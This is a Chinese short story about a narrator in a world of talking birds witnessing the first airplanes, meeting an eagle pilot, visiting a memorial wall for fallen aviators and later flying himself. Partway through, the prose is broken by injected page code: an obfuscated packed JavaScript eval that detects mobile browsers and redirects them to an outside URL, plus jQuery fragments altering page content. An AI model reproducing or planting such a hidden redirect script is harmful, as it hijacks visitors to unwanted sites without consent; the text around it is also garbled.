那是一个寻常的黄昏，我开车行驶在回家的路上。


    夕阳正沉入地平线，将西边的天空染成一片绚烂的橙红。云朵被镶上金边，层层叠叠，像一座座金色的山峰。我习惯性地看了一眼后视镜，正准备收回目光——然后，愣住了。


    在那片金色的天空里，有一个黑点正在移动。


    起初我以为是鸟，但那黑点太大了，而且飞得太稳了，不像是任何鸟类的飞行姿态。它笔直地向前，不快不慢，像是沿着一条看不见的线在移动。它的身后，拖着一条细细的白线，慢慢地散开，融入天空。


    我把车停在路边，下了车，站在公路旁，仰着头，望着那个黑点。


    它越来越近，越来越大。渐渐地，我看见了它的形状——那不是鸟，不是风筝，它有长长的身体，有两边伸展的翅膀，有在夕阳下闪闪发光的金属外壳。它从我的头顶飞过，发出一种低沉的、持续的轰鸣声。


    飞机。


    那架飞机越飞越远，最后变成一个黑点，消失在东方的天际。但我还站在原地，仰着头，久久不愿离开。


    天空，终于被征服了。


    几天后，我听说了一个消息：在城东新建成了一座机场，过几天会有一场飞行表演，展示最新的飞行器。


    我毫不犹豫地开车去了。


    机场很大，比我想象的大得多。一条长长的跑道笔直地伸向远方，跑道的尽头，停着几架形状各异的飞机。有的像鸟，有的像蜻蜓，有的像一片巨大的树叶。一群穿着工装的人围在飞机旁边，正在做最后的检查。


    看台上，已经坐满了人。男女老少，从各地赶来，都想亲眼看看这个奇迹。孩子们兴奋地跑来跑去，指着那些飞机叽叽喳喳地问个不停。老人们坐在椅子上，眯着眼睛，望着那些从未见过的机器，脸上露出复杂的神情——有好奇，有惊讶，也有一丝隐隐的不安。


    我找了一个角落坐下，静静地等待。


    飞行表演开始了。


    第一架飞机滑上跑道，速度越来越快，越来越快，然后——轮子离开了地面，机身缓缓升起，像一只巨大的鸟，轻盈地飞向天空。


    看台上爆发出一阵欢呼。


    那架飞机在天空盘旋，翻跟头，俯冲，拉起，做出各种我想象不到的动作。每一次惊险的表演，都引起一阵惊呼；每一次完美的降落，都赢得一片掌声。


    但我最在意的，不是那些精彩的表演，而是飞行员脸上的表情。


    飞机降落后，飞行员从座舱里爬出来，摘下头盔。那是一只年轻的老鹰，有着锐利的眼神和挺拔的身姿。他站在飞机旁边，望着天空，眼睛里有一种光。那不是骄傲，不是得意，而是——一种更深的东西，一种说不清的东西。


    表演结束后，我找到了他。


    “飞在天上的感觉，是什么样的？”我问。


    他笑了笑，那笑容里有种说不出的东西：“很难形容。就像……就像整个世界都在你脚下。山川、河流、田野、村庄，都变成了小小的玩具。云在你身边飘过，你可以伸手去摸。太阳就在头顶，比任何时候都近。那种感觉，自由得让人想哭。”


    “害怕吗？”


    “当然怕。”他老实承认，“第一次飞的时候，腿都在抖。那么高的地方，万一掉下来，可就什么都没了。但后来发现，越怕，越要稳住。一慌，就真完了。”


    他望着天空，声音变得轻缓：“你知道吗，我们老鹰，天生就会飞。但第一次飞的时候，也一样害怕。母鹰会把我们推出巢穴，让我们在坠落中学会飞翔。那时候，我们必须相信自己的翅膀，相信它们会在最后一刻展开，把我们托起来。”


    他转过头看着我：“这机器，就是我们做的翅膀。”


    飞翔的梦想，从来不是没有代价的。


    在机场的一个角落里，有一面墙，墙上刻着很多名字。有的是老鹰，有的是麻雀，有的是燕子——所有那些为了飞行献出生命的先驱者。


    我站在那面墙前，一个一个地看过去。


    有的是试飞时失事，飞机在空中解体，再也没能回来。有的是设计错误，飞机起飞后就失控，撞上了山崖。有的是遇到恶劣天气，无法控制，消失在茫茫云海中。还有的，甚至没能起飞，在地面上就出了事故。


    每一个名字背后，都是一个故事，一个梦想，一段生命。


    旁边，一只年迈的麻雀正在擦拭墙上的一个名字。那是她的儿子，五年前试飞新型飞机时，机翼折断，坠入了大海。


    “他从小就喜欢飞。”老麻雀轻声说，声音沙哑，“别的孩子在地上跑，他天天望着天上，看着那些鸟飞来飞去。他说，总有一天，他要飞得比他们更高，更远。”


    她擦了擦眼角：“后来他真的做到了。他设计的飞机，能飞到鸟飞不到的高度。那一天，他飞上去之前，回头看了我一眼，笑着说，‘妈，我替你去看一眼天。’”


    她沉默了，过了很久，才说：“那天之后，他再也没回来。”


    我不知道该说什么。只是静静地站在她身边，陪着她。


    过了一会儿，她抬起头，看着那面墙，轻轻说了一句话：


    “但我不后悔。他应该也不后悔。有些事，比活着更重要。”


    几年后，我也坐上了飞机。


    那是去远方的一次旅行。我坐在靠窗的位置，看着窗外的一切。跑道越来越快，机身一震，然后——地面开始下降，越来越低，越来越远。


    山川变成了绿色的褶皱，河流变成了银色的丝带，村庄变成了散落的积木。一切都变小了，变远了，变陌生了。但又一切都变清晰了，变完整了，变明白了。


    云在窗外飘过，那么近，仿佛伸手就能摸到。阳光照在云上，把它们染成各种颜色——白的，灰的，金的，橙的。我透过云层的缝隙，看到下面的世界，那么安静，那么美。


    从高处看，世界是连在一起的。山连着山，河连着河，村庄连着村庄，城镇连着城镇。那些在地上看起来那么遥远的地方，从天上看起来，那么近，那么近。


    从高处看，所有的界限都消失了。没有你我，没有这里那里，没有东方西方。只有一片大地，一个天空，一个世界。


    从高处看，人变得很小，但心变得很大。


    飞机降落了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286922|198065||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我走出舱门，踏上了坚实的土地。那一刻，竟有一种奇怪的感觉——不是踏实，而是失落。刚才那种自由的感觉，那种无拘无束的感觉，那种俯瞰世界的感觉，好像还留在天上，没有跟我一起下来。


    但我很快就明白了。


    那种感觉，从来就不是在地上能拥有的。它属于天空，属于那些愿意飞上去的人。


    几天后，我收到了一封信。寄信人我不认识，但信封上印着一只飞翔的老鹰。


    信很短，只有几行字：


    “林夕今，我们听说过你的故事。欢迎加入我们，成为天空的孩子。下一次，我们一起飞得更高。——‘翅膀’飞行俱乐部。”


    我握着那封信，笑了。


    原来，我从来就不是一个人。原来，所有向往天空的人，最终都会相遇。


    从那以后，我经常飞。


    有时是坐飞机，从一个地方到另一个地方；有时是参加飞行表演，看那些勇敢的飞行员在天空翻飞；有时只是坐在机场的看台上，看一架架飞机起飞、降落、起飞、降落。


    每一次飞，都会看到新的东西。


    有一次，我飞过一片沙漠。从天上往下看，沙漠不是黄的，而是五彩斑斓的——红的、橙的、金的、灰的，像一幅巨大的抽象画。那些在地上看起来那么可怕的风暴，从天上看起来，只是一片移动的阴影，轻轻地拂过沙丘。


    有一次，我飞过一片海洋。从天上往下看，海是那么蓝，那么深，那么广阔。船只在海上航行，像一片片小小的叶子；岛屿散落在海中，像一颗颗绿色的宝石。云在海面上投下影子，慢慢地移动，慢慢地消失。


    还有一次，我飞过一片雪山。从天上往下看，雪山是那么白，那么亮，那么圣洁。阳光照在雪上，反射出刺眼的光芒，让人不敢直视。山顶在云层之上，孤独地矗立着，像一个沉默的巨人。


    每一次飞，我都会想起那句话：


    “有些事，比活着更重要。”


    那个失去儿子的老麻雀，她的儿子实现了自己的梦想，看到了别人看不到的风景。虽然他没有回来，但他留下的东西，比他活的时间更长。


    这，就是飞翔的意义。


    又过了很多年。


    有一天，一个年轻人来找我。那是一只年轻的鹰，刚学会飞行不久。他坐在我身边，望着天空，轻轻地说：


    “您说，有一天，我们能飞到月亮上去吗？”


    我看着他，看着他眼睛里那熟悉的光芒，忽然笑了。


    “会的。”我说，“一定会的。”


    那天夜里，我做了一个梦。


    梦里，我变成了一个追光的孩子。我跑啊跑，追啊追，终于追上了那道光。那光带着我，一直往上飞，飞过云层，飞过天空，飞到月亮上。


    月亮上很静，很亮。我站在上面，回头看地球——那么蓝，那么美，那么近。


    那一刻，我笑了。


    醒来时，窗外，天已经亮了。一架飞机正从天上飞过，留下一条长长的白线。


    我望着它，轻轻地说：


    “去吧，飞得更高。”